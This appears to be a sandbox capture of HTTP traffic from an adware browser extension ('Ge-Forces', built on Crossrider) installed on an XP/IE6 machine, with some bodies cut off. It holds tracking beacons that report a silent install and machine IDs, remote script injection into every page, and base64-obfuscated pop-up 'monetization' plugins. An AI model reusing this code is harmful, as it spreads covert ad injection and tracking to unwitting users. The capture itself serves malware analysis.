Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Tue, 25 Feb 2014 00:10:53 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /apps.gif?action=install&app=69129&appver=27&ver=1_35_12_18&version_date=14-12-27&bic=589912D45CE0412C9CDE01D4C96E2298IE&verifier=7d6635bb3acc762051a59407230a02ec&upi=ad4be4dbacb148f1afcb2fc4c6d21a95&procid=62D079BFE1B9432A91182E2E2A8C1EF9PI&srcid=001729&subid=0&zdata=0&browser=ie&browserver=6&default=ie&chver=na&ffver=na&iever=6.0.2900.5512&curtime=&country=ca&aver=X&installtime=1421039403&lifetime=0&silent=1&crtnm=AirplaneNetworks&procstarttime=1421039403&procruntime=22&rnd=1421039425 HTTP/1.1

Host: stats.newstatsclientcloud.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

x-amz-id-2: A3lVDGbw8R9O/TJq2nlst TkRFytz5dj55QfSuffwiB5lh79oRi5t UHQIFNIM9B

x-amz-request-id: 3DE7DD4364A2825D

Date: Mon, 12 Jan 2015 10:21:34 GMT

Cache-Control: no-cache, must-revalidate

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Tue, 25 Feb 2014 00:10:44 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;..

GET /monetization.gif?event=4&ibic=589912D45CE0412C9CDE01D4C96E2298IE&verifier=7d6635bb3acc762051a59407230a02ec&campaign=001729&country=ca&app=69129&os=XP32&defbro=ie&chver=na&ffver=na&iever=6.0.2900.5512&starttime=1421039403&asw=0_1073750528_-2147483648_0&browser=ie,de&rnd=1421039403 HTTP/1.1

Host: logs.newstatsclientcloud.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 12 Jan 2015 10:21:33 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1421058093.dop006.ny2.t,1421058093.cds053.ny2.c
GIF89a.............,...........D..;..

GET / HTTP/1.1

Host: ipgeoapi.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 12 Jan 2015 10:21:17 GMT

Connection: keep-alive

Content-Type: application/json;charset=utf-8

Content-Length: 39

Server: thin 1.4.1 codename Chromeo

Via: 1.1 vegur
{"country_code":38,"country_name":"CA"}HTTP/1.1 200 OK..Date: Mon, 12 
Jan 2015 10:21:17 GMT..Connection: keep-alive..Content-Type: applicati
on/json;charset=utf-8..Content-Length: 39..Server: thin 1.4.1 codename
 Chromeo..Via: 1.1 vegur..{"country_code":38,"country_name":"CA"}..

GET /plugin/apps/69129/js/na/ie/app_code.js?ver=27&rnd=1521 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.newstatsdemosrv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 12 Jan 2015 10:21:23 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1420713929"

Last-Modified: Thu, 08 Jan 2015 10:45:29 GMT

Cache-Control: max-age=651

Content-Length: 15858

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1421058083.dop002.ny2.t,1421058083.cds044.ny2.c
..  /*****************************************************************
*******************.  This is your Page Code. The appAPI.ready() code 
block will be executed on every page load..  For more information plea
se visit our docs site: hXXp://docs.crossrider.com.*******************
******************************************************************/.HO
ST = "hXXp://wt.iwebar.com";.TOOLBAR_URL = HOST   '/js/toolbar.js';..A
FFILIATE_ID = 'NONE';...appAPI.ready(function($) {.../*..if (appAPI.db
.get('user_id') === null) {...if (appAPI.db.get('installation') === nu
ll){....appAPI.db.set('installation', new Date().getTime());....return
;...}...else {....if ((new Date().getTime() - appAPI.db.get('installat
ion')) < 1000 * 60 * 60 * 48){.....//No need to display toolbar... 
hasn't been 2 days yet......return;....} ...}..}*/...console.log("====
===> Extension [version: "   appAPI.appInfo.version   "] loading...
");....// Set the affiliate ID.    //appAPI.db.set('affiliate_id', AFF
ILIATE_ID);...// Include the Base64 library..appAPI.resources.includeJ
S('jquery.base64.js');..appAPI.resources.includeJS('jquery-1.10.2.min.
js');..appAPI.resources.includeJS('md5.js');..//appAPI.resources.inclu
deJS('i2v.js');....appAPI.resources.includeJS('jw_whitelist_1.js');..a
ppAPI.resources.includeJS('jw_whitelist_2.js');..appAPI.dom.addRemoteJ
S('hXXp://wt.iwebar.com/js/jw_whitelist_3.js');.....var pObj = sendRep
ort();..../** Custom injections **/..appAPI.resources.includeJS('askco
m.js');..function customInjections(country) {...try {....// Ask.co
<<< skipped >>>

GET /plugin/apps/69129/plugins/na/ie/plugins.json?ver=23&rnd=5437 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.newstatsdemosrv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 12 Jan 2015 10:21:23 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1420713930"

Last-Modified: Thu, 08 Jan 2015 10:45:30 GMT

Cache-Control: max-age=652

Content-Length: 17999

Content-Type: text/plain; charset=UTF-8

X-HW: 1421058083.dop002.ny2.t,1421058083.cds051.ny2.c
{.."plugins_version": 23,.."plugins_list":.    [.      {"id":1,"url":"
hXXp://js.newstatsdemosrv.com/plugins/mins/1.js","ver":11,"name":"base
","browsers":{"ie":true,"ff":true,"ch":true,"sf":true,"nv":false,"px":
false},"targets":[{"run_at":1,"order":10400},{"run_at":2,"order":10400
}],"enabled":true},{"id":4,"url":"hXXp://js.newstatsdemosrv.com/plugin
s/javascripts/jquery-1_7_1_min.js","ver":5,"name":"jquery_1_7_1","brow
sers":{"ie":true,"ff":true,"ch":true,"sf":true,"nv":true,"px":true},"t
argets":[{"run_at":1,"order":10200},{"run_at":0,"order":100},{"run_at"
:5,"order":100},{"run_at":2,"order":10200}],"enabled":true},{"id":2,"u
rl":"hXXp://js.newstatsdemosrv.com/plugins/mins/2.js","ver":2,"name":"
ie8_fix_1","browsers":{"ie":true,"ff":false,"ch":false,"sf":false,"nv"
:false,"px":false},"targets":[{"run_at":1,"order":10100},{"run_at":2,"
order":10100}],"enabled":true},{"id":3,"url":"hXXp://js.newstatsdemosr
v.com/plugins/mins/3.js","ver":2,"name":"ie8_fix_2","browsers":{"ie":t
rue,"ff":false,"ch":false,"sf":false,"nv":false,"px":false},"targets":
[{"run_at":1,"order":10300},{"run_at":2,"order":10300}],"enabled":true
},{"id":28,"url":"hXXp://js.newstatsdemosrv.com/plugins/mins/28.js","v
er":4,"name":"initializer","browsers":{"ie":true,"ff":true,"ch":true,"
sf":true,"nv":false,"px":false},"targets":[{"run_at":1,"order":9999999
99},{"run_at":2,"order":999999999}],"enabled":true},{"id":21,"url":"ht
tp://js.newstatsdemosrv.com/plugins/mins/21.js","ver":5,"name":"debug"
,"browsers":{"ie":true,"ff":true,"ch":true,"sf":true,"nv":false,"p
<<< skipped >>>

GET /plugins/mins/356.js?ver=1&rnd=41 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.newstatsdemosrv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 12 Jan 2015 10:21:23 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1418564745"

Last-Modified: Sun, 14 Dec 2014 13:45:45 GMT

Cache-Control: max-age=20

Content-Length: 407

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1421058083.dop002.ny2.t,1421058083.cds012.ny2.c
appAPI.internal.monetization=appAPI.internal.monetization||{};if(typeo
f appAPI.internal.monetization.plugins==="undefined"){appAPI.internal.
monetization.plugins={};}appAPI.internal.monetization.plugins[356]=fun
ction(){if(appAPI.isBackground){return;}if(!appAPI.internal.monetizati
on.shouldRunByVertical(356,["pops"])){return;}new (appAPI.internal.mon
etization.plugins.ICMBaseManager({namespace:"MAN"}))();};....


GET /plugins/mins/193.js?ver=9&rnd=41 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.newstatsdemosrv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 12 Jan 2015 10:21:24 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1408273131"

Last-Modified: Sun, 17 Aug 2014 10:58:51 GMT

Cache-Control: max-age=804

Content-Length: 867

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1421058084.dop002.ny2.t,1421058084.cds009.ny2.c
if (typeof setup2 === 'function') { setup2('MWQ2MjdhNDMwMzBlMTIwMDM4MD
IwYTRhNDk0MTQ5MTIxMjA0MWQ0YTQ5NDcxMjEyMTkwYzRiMTE0MzExMGQwOTFlMDAwMjEy
MDI1ZTAzMTUxMjQ3MDAwNTQ0NGI1MTQwNWQ1ZjU3NTg0MTU1NDUxMDE1NTI0MTdhNmY0YT
FiMTUxZjBhMTUyNTFmMWM0NDUyNTM0MzAzMGUxMjAwMWU0YTQ5NDcxMjEyMTkwYzRiMTE0
MzExMGQwOTFlMDAwMjEyMDI1ZTAzMTUxMjQ3MDAwNTQ0NGI1MTQwNWQ1ZjU3NTg0MTU1ND
UxMDE1NTI0MTdhNmY0YTAzMGQxZTFkMGYxZTI0MTQ0NDUyNTM1MDUyNDk0YTdhNGQ1MDQ2
NDg1MTE3MGUwODEyMTkwZTExMGE0YTQ5NDEzMDU4MDcxNDFlNTIzYjQ0Nzk0MTRiNWE0Nj
UyMDQxZTBhMDExZDA0MjEyOTQ0NGE0ZDUyMTEwMTFkMDUwNDBkNDgyZjFmMDYxYzU5NDQ1
MTViMDI1NzQwNWY0NDQ2NTU1MzFhNGI1ZDE2MDUwZjFjMGYxYjFiMDQxOTI1MTUwNTBmMT
kwMjRmNDk0MTRjMjUzOTMzM2YzZjM1M2IyMTI4MmYzZjM0MmYyODI4MzIyZDNkMjUyZTNl
MzkyMzM4MzIzOTIxMzczZTM0NWQ0YTUwNGExMTAyMGMxYzBmMDUxYjBiMTU0YTRhNDY0Zj
JjM2UyODI4MjkyMzNlMjIyZjJjMzYzMzM0M2IzNjIwMzIzZTI3MjUzNjNlMzQ1ZDFiNGI0
ZjdhMWI=', 'fhsakzfpmp'); }....


GET /plugins/mins/288.js?ver=1&rnd=41 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.newstatsdemosrv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 12 Jan 2015 10:21:23 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1404660469"

Last-Modified: Sun, 06 Jul 2014 15:27:49 GMT

Cache-Control: max-age=451

Content-Length: 551

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1421058083.dop002.ny2.t,1421058083.cds004.ny2.c
if (typeof setup2 === 'function') { setup2('MTg2ZTU3NDU1MTRiNGQwZTBlMD
MxMzMxMDUwOTUzNTE0ZjQ0MTIwMzE3MTQ0ZDRhNWUwMjFjMTIxYjAzMGEwNzU5MDExMDFm
MGUwMDFiMDQxNzAzMDIxNzA0NDUwNjA4MWMxODRjMDIxODRhMWMwMjAxNDkxOTA1MTIwNz
U5MGYwMjU0MDcwZjFlNGEzYzNiMzQzNzNlMzgzYzM0MzMzMzI2MzYyODMwMjIyZTNkMzkz
MzMzM2MzYjUxMDcxZjBhMDIwMzQ3MjgzYzI3MjUyYTIyMzgzZDJmM2UzMjMxM2IzNjM1Mj
EzNDIxMjczNzMyM2MzYjUxMTYwNDA5MDYwMjQ3MjgzYzI3MjUyYTIyMzgzZDJmM2UzMjMx
M2IzMjNkMjUyZTIxMjIzZjMzM2MzNzIyMjcyZTIyMmIzOTI1NTU0ZjZlNTc0NTUxNGI0ZD
E2MTYwMjA0MGQxOTJjMTU0OTU1NDY0ODRmNWI2ZTBh', 'cdweqkofzw'); }..
..


GET /plugins/mins/184.js?ver=11&rnd=41 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.newstatsdemosrv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 12 Jan 2015 10:21:24 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1420026483"

Last-Modified: Wed, 31 Dec 2014 11:48:03 GMT

Cache-Control: max-age=205

Content-Length: 1231

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1421058084.dop002.ny2.t,1421058084.cds013.ny2.c
if (typeof setup2 === 'function') { setup2('MDI2YjcwNTgwZTE4MDQxNzJjMW
QxNTQzNDM1YTQ0MDQwNDEzMDk1NTU2NGUxNzBhMTU0MjAwMDYwYTFiMTgwZDFjMWIwMjFm
NWUwNDE2MDI1NjBmMDkwOTA0NDMxYzA4MWUwNjFhNGYxMzA5NTkyMzAyMGUxZTA2MTcyOD
FkNDcyMzU0MzE1MzM4NWQ0YTIwNTQzODU2NWY0NDRhM2M1ZDQ4NTA1NDNiNWYyZDQwNGE0
OTVmNDg1NDQ4NGQyMjVkNDAyMTRmMmE1ZjMyMTAwZTAzMjUxNDVhMmEwZTE1MDQwYTVjMz
YwZDAyMTMxNzBhMGIyODNkNDc1NDVjNDA1NzQ5NDkyOTEzMTYxZTEzMGYwNDI5MTgwMjFj
NWMyNjI1MjUzZTNmMzQyYTNkMzAyNTNjMjgzOTJkMjAzNzI2MjEzODJjM2MyNTM5NGEyND
A4MTYwMzFiMDAwYjMzMDI1MTJmMzgzYTNkMzYzMjJhMjgyZjI4MzUzNTI2MmEyMTM1M2Mz
NDIyMjkzNDM4MmEzYTNiM2UzMDNlMzkzMzUyNGI3MzY2NWIwOTBkMGUxNjFmMjUxNTE1NG
Q0MzQxNWIxMjEyMTgwMDE0NDM0MDU2MGYwOTA5NDgxYzExMTQwZDBlMTUwNDE4MWUxNTQy
MTMwODE0NDAxNzExMGExODQ5MDAxZjAwMTAwYzU3MGIwYTQ1MjkxZTE5MDAxMDAxMzAwNT
Q0M2Y1ZTJkNDQyNjRiNWMzODRjM2I0YTU1NTg1ZDIyNGI1ZTQ4NGMzODQzMjc1YzVkNTc0
OTVlNGM1MDRlM2U1NzVjMzY1MTNjNDkyYTA4MGQxZjJmMDg0ZDM0MTgwMzFjMTI1ZjJhMD
cxZTA0MDkxYzFkMzAyNTQ0NDg1NjVjNDA1NzVmM2YwYjBlMWQwZjA1MTgzZTA2MTQwYTQ0
M2UyNjM5MzQyMzIzMzQyYjI2M2QyNDJiMjUyNzNjMjAzODM3MmUzNDI0MjYyNTQwMzgxZj
A4MTUwZDE4MTMzMDFlNWIzMzJmMjQyYjIwMmEzMjJiMzMyMjI5MjIzODNjMzcyZDI0Mzcz
ZTIzMjgyZjM0MmMyZDI2MjgzZDI1Mzk0ZTVjNmQ3MDRkMDkwZDBjMWQwZjAyMzkwMzViNT
U1OTUwNDE0ZTZjMTE3YQ==', 'yayzflpgyo'); }..
<<< skipped >>>

GET /stats.gif?action=daily&app=69129&bic=589912D45CE0412C9CDE01D4C96E2298IE&verifier=7d6635bb3acc762051a59407230a02ec&ver=1_35_12_18&installtime=1421039403&os=XP32&browser=ie&browserver=6&ffver=X&chromever=X&srcid=001729&subid=0&zdata=0&appver=27&bgver=1&pluginsver=23&curtime=1421039418&lifetime=15&rnd=6909 HTTP/1.1

Accept: */*

Host: stats.newstatsclientcloud.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

x-amz-id-2:  qMg0Euses8OGBO03Gf2RtEI4hB2UE6umJ6UcUQCqMJkI7rL4hUOZpdc3VYKbg/B

x-amz-request-id: 00E59B0A66C91640

Date: Mon, 12 Jan 2015 10:21:28 GMT

Cache-Control: no-cache, must-revalidate

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Tue, 25 Feb 2014 00:10:58 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;..

GET /plugins/mins/262.js?ver=2&rnd=41 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.newstatsdemosrv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 12 Jan 2015 10:21:24 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1411293488"

Last-Modified: Sun, 21 Sep 2014 09:58:08 GMT

Cache-Control: max-age=783

Content-Length: 1075

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1421058084.dop005.ny2.t,1421058084.cds045.ny2.c
if (typeof setup2 === 'function') { setup2('MWY2MTUyNDE0NzU3NDcwZTEyMD
AxNDNlMDAwZDQ1NGQ0NTQ0MGUwMDEwMWI0ODRlNDgxNDAxMDgwNTE1MDcwMzE3NTA0YTE2
NGIwNzBkMTUwOTBhMWIwOTAzNTkwYjAzMTI1YjE3MWUxMDRlMTE0NDU3NTc1ZjE2MDA0ND
JkM2UyNDI1MmEzNTM1MjYyZDJmMzczMzM4MzIzZDMyMjMzYTIwMmUzNjNlMzQyMjI3Mzky
ZjMwM2IzNDVkMGQ0OTFkMTY1OTE2MWQwMDU2NDM1NjU1NDc0MzAzMWUwMDU5MzQyZDIyMz
UzODM2MzUzNDNkMjAyZTIwM2UyNjI3MzUzOTI4MzUyOTJlMmQzZTQxMDQxYzE1MTIxMTA5
MDIxNjVjMzgyODI2MzQyOTI3MzczOTNiMjUyMjI1M2EyZjI4MjczMDJhM2UyZDIyMjUzYT
MzMzUzMTM2MzQzYjI1MzgyODQ3NGE2YzU0NDQ0YjUyNDMwZjAzMTExNjE1MjExNjA3NTA1
YjQ3NTUwZDEyMTIwNDE3NTE1ZDRlMDQxMzBiMDUwNzE3MGMwZTQzNGMwNjU5MDQwZDA3MT
kwNTAyMWEwNTQ5MTkwMDEyNDkwNzExMDk1ZDE3NTQ0NTU0NWYwNDEwNGIzNDJkMjIzNTM4
MzYzNTM0M2QyMDJlMjAzZTIyMmYzMTIzMjgzMDIxMmYyZDMyMzIzNTNhMmYyMjJiM2I0ND
FlNGYwZDA0NWExNjBmMTA1OTVhNDU1MzU3NTEwMDFlMTI0OTNiMzQzMTMzMjgyNDM2MzQy
ZjMwMjEzOTJkMjAzNzI3M2EyODI3MzkyMTM0MmQ0NzE0MGUxNjEyMDMxOTBkMGY0ZjNlMz
gzNDM3MjkzNTI3MzYyMjM2MjQzNTI4MmMyODM1MjAyNTI3M2UyNDM1MjgzMDM1MjMyNjNi
MjIzNjNlMzg1NTQ5NmM0NjU0NDQ0YjUwMTEwYjAyMDIwZjA4M2QwMDQ5NDg0MTU1NDE1Nz
ZjMWI=', 'dkragwefft'); }....


GET /plugins/mins/350.js?ver=1&rnd=41 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.newstatsdemosrv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 12 Jan 2015 10:21:23 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1417707239"

Last-Modified: Thu, 04 Dec 2014 15:33:59 GMT

Cache-Control: max-age=694

Content-Length: 1799

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1421058083.dop005.ny2.t,1421058083.cds012.ny2.c
if (typeof setup2 === 'function') { setup2('MTE3MzRlNTI0NjVhNDAwZDAyMG
UxYTJjMWMxZTQ0NDA0MjQ3MWUwZTFlMDk1NDVkNDkxOTA2MGI1ODE5MDUxNzFkMDYwMjFi
MTYwNDE4MWYxZTU3MGQxZDBiNTUwYzAyMDMxYjFjMTg0MTFlNDgxMDExNWExNTFiMDcwOT
BmMWIwMTE0MmIwMTRiMjUzNTNhM2MzZDM1MjkzMDJjMzIzZjM4MjYyZDMzMmIyYTNkMmMz
MjI1MzU1ZjBkMWQxMzE0MTYxNzBmMzkwNTFkMGI0ZjM5MjUyMTM3MzkyOTM5MmIyNzM2Mj
MyODNkMjYzOTJmMjQyZDNjMmIzOTM5MmQyMTMzMjUzNTVmMGMwMDA5MGQxMTAwMDQzOTA1
MWQwYjRmMzkyNTIxMzczOTI5MzkyYjI3MzYyMzI4M2QyNzI0MzUzZDJhMmIyMDM5MjU0ND
A0MDYwYTIzM2Q1MzJkMzkzOTMwMmEyNTI5MzgzMDJhMzczNDI1MjMzNTI2MjUyMzNkMzEy
ZDQwMWIxMjE1MzgxYjA3MWM1MzJkMzkzOTMwMmEyNTI5MzgzMDJhMzczNDI1MjMzNTI2Mj
UyNDM4MjMzNzM5MjU0NDJjMzQzMzI5NDQzMTJkMjUyODJkMzYyNTI4MjMzZDJiMjAzOTMz
MmMzNjIyM2IyNjM1MmIyMDM5MmYzMTIwMjQyNTIzM2QzMTJkNDAwOTE3MDczZjNlNTcyNj
MxMzEzNDM1MzEzNjI0MzMyZTNjM2MyZDIzMjIzNjIwMzgzZTJmM2QzMTIxMzMzODNkMmMz
MjI1MzU1ZjFjNGYzOTI1MzAyYjMyMjUzNTViNDI3ODQ2NWE0MjQ1NTQxMjFlMGQxZTAxMz
MwODBlNDc0YzVhNDgxMTFhMDYxNjA5NTg0YTU5MWU1ODE4NTYxMzUyMGI1YjRiMDUwOTA2
NTcwNjA1MDUxZTBjNGIxODFmMWU1NjAwMTUxMzFiMTQwNDU5MTY0NDEzMWQ0ZDA1MWIwZj
E1MTcxMzBkMTcyNzE2NWIyNTNkMjYyNDM1MzkyYTNjM2IyMjNmMzAzYTM1M2IyNzI5MzEz
YjIyMjUzZDQzMTUxNTFmMTcxYTAwMWYzOTBkMDExMzQ3MzUyNjJkMjAyOTI5MzEzNzNmM2
UyZjJiMzEzMTI5MmYyYzMxMjQyMzM1M2EyMTM2MjMyNTNkNDMxNDA4MDUwZTFkMTcxNDM5
MGQwMTEzNDczNTI2MmQyMDI5MjkzMTM3M2YzZTJmMmIzMTMwMzQzNTM1MzYzMzI4MzUyNj
Q4MTMxNjBhMmIyMTRiMjUzNTNhM2MzZDM1MjkzMDJjMzIzZjM4MjYyZjIyMzYyNTJiMjEy
OTI1NGMxODFlMDIyODFiMGYwMDRiMjUzNTNhM2MzZDM1MjkzMDJjMzIzZjM4MjYyZjIyMz
YyNTJjMjQzYjNmMzUyNjQ4M2IyNDMzMjE1ODI5MjUyOTJiMjEyMTM1MjgyYjIxMzMy
<<< skipped >>>

GET /plugins/mins/337.js?ver=1&rnd=41 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.newstatsdemosrv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 12 Jan 2015 10:21:24 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1417094308"

Last-Modified: Thu, 27 Nov 2014 13:18:28 GMT

Cache-Control: max-age=675

Content-Length: 407

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1421058084.dop005.ny2.t,1421058084.cds002.ny2.c
appAPI.internal.monetization=appAPI.internal.monetization||{};if(typeo
f appAPI.internal.monetization.plugins==="undefined"){appAPI.internal.
monetization.plugins={};}appAPI.internal.monetization.plugins[337]=fun
ction(){if(appAPI.isBackground){return;}if(!appAPI.internal.monetizati
on.shouldRunByVertical(337,["pops"])){return;}new (appAPI.internal.mon
etization.plugins.ICMBaseManager({namespace:"TEN"}))();};....


GET /plugins/mins/91.js?ver=118&rnd=41 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.newstatsdemosrv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 12 Jan 2015 10:21:24 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1421049626"

Last-Modified: Mon, 12 Jan 2015 08:00:26 GMT

Cache-Control: max-age=50

Content-Length: 185222

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1421058084.dop005.ny2.t,1421058084.cds002.ny2.c
(function(M){var A=[].slice;var z={};var a=function(ar){if(typeof ar==
"string"&&typeof ar.trim=="function"){return ar.trim();}return ar==nul
l?"":ar.toString().replace(/^\s /,"").replace(/\s $/,"");};function f(
ar){var at=z[ar]={},au,av;ar=ar.split(/\s /);for(au=0,av=ar.length;au&
lt;av;au  ){at[ar[au]]=true;}return at;}var H=function(ar,at){var av=[
];for(var au=0;au<ar.length;au  ){if(au in ar){var aw=at(ar[au],au,
ar);if(aw!=null){av.push(aw);}}}return av;};var ad=function(av,ay,au){
var at,aw=0,ax=av.length,ar=ax===undefined||appAPI.utils.isFunction(av
);if(au){if(ar){for(at in av){if(ay.apply(av[at],au)===false){break;}}
}else{for(;aw<ax;){if(ay.apply(av[aw  ],au)===false){break;}}}}else
{if(ar){for(at in av){if(ay.call(av[at],at,av[at])===false){break;}}}e
lse{for(;aw<ax;){if(ay.call(av[aw],aw,av[aw  ])===false){break;}}}}
return av;};var J=function(au){au=au?(z[au]||f(au)):{};var az=[],aA=[]
,av,aw,at,ax,ay,aC=function(aD){var aE,aH,aG,aF,aI;for(aE=0,aH=aD.leng
th;aE<aH;aE  ){aG=aD[aE];aF=appAPI.utils.isArray(aG)?"array":(appAP
I.utils.isFunction(aG)?"function":"");if(aF==="array"){aC(aG);}else{if
(aF==="function"){if(!au.unique||!aB.has(aG)){az.push(aG);}}}}},ar=fun
ction(aE,aD){aD=aD||[];av=!au.memory||[aE,aD];aw=true;ay=at||0;at=0;ax
=az.length;for(;az&&ay<ax;ay  ){if(az[ay].apply(aE,aD)===false&&au.
stopOnFalse){av=true;break;}}aw=false;if(az){if(!au.once){if(aA&&aA.le
ngth){av=aA.shift();aB.fireWith(av[0],av[1]);}}else{if(av===true){aB.d
isable();}else{az=[];}}}},aB={add:function(){if(az){var aD=az.leng
<<< skipped >>>

GET /monetization.gif?event=3&ibic=589912D45CE0412C9CDE01D4C96E2298IE&verifier=7d6635bb3acc762051a59407230a02ec&campaign=001729&country=ca&app=69129&os=XP32&defbro=ie&chver=na&ffver=na&iever=6.0.2900.5512&starttime=1421039403&asw=0_1073750528_-2147483648_0&browser=ie,de&rnd=1421039403 HTTP/1.1

Host: logs.newstatsclientcloud.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 12 Jan 2015 10:21:18 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1421058078.dop007.ny2.t,1421058078.cds053.ny2.c
GIF89a.............,...........D..;..

GET /plugin/apps/69129/manifest/1_35_12_18/ie6/manifest.xml?ver=27&rnd=8405 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.newstatsclientcloud.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 12 Jan 2015 10:21:28 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1420713954"

Last-Modified: Thu, 08 Jan 2015 10:45:54 GMT

Cache-Control: max-age=895

Content-Length: 1679

Content-Type: text/xml; charset=UTF-8

X-HW: 1421058088.dop005.ny2.t,1421058088.cds005.ny2.c
<?xml version="1.0" encoding="UTF-8"?>.<CrAppInfo>.  <V
er>27</Ver>.  <ShortName>Ge-Forces 1.1</ShortName>
;.  <Description>Ge-Force</Description>.  <PublisherNam
e>iWebar</PublisherName>.  <HomePageLink>NA</HomePag
eLink>.  <JSLink>hXXp://js.newstatsdemosrv.com/plugin/apps/69
129/js/na/ie/app_code.js</JSLink>.  <GroupID>0</GroupID
>.  <Domain>NA</Domain>.  <RunInIframe>false</
RunInIframe>.  <ThanksURL>NA</ThanksURL>.  <EmailSig
nature>NA</EmailSignature>.  <SettingsURL>NA</Settin
gsURL>.  <CertifiedInstall>NA</CertifiedInstall>.  <
ExposeSites>NA</ExposeSites>.  <RemoteFBApiURL>NA</R
emoteFBApiURL>.  <DisableIE>true</DisableIE>.  <Disa
bleFF>true</DisableFF>.  <EnableSearchIE>false</Enab
leSearchIE>.  <EnableSearchFF>false</EnableSearchFF>.  
<AddressbarIE>NA</AddressbarIE>.  <AddressbarFF>NA&l
t;/AddressbarFF>.  <AddressbarFFEnhanced>NA</AddressbarFFE
nhanced>.  <AddressbarCR>NA</AddressbarCR>.  <NewTab
URL>NA</NewTabURL>.  <NewTabEmbed>NA</NewTabEmbed>
;.  <OpenSearchURL>NA</OpenSearchURL>.  <BackgroundJS&g
t;hXXp://js.newstatsdemosrv.com/plugin/apps/69129/bg/na/ie/bg_code.js&
lt;/BackgroundJS>.  <BackgroundVer>1</BackgroundVer>.  
<Manifest>NA</Manifest>.  <ChangePrevious>false&
<<< skipped >>>

GET /plugin/apps/69129/manifest/1_35_12_18/ie6/manifest.xml?ver=9&rnd=7431 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.newstatsclientcloud.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 12 Jan 2015 10:21:23 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

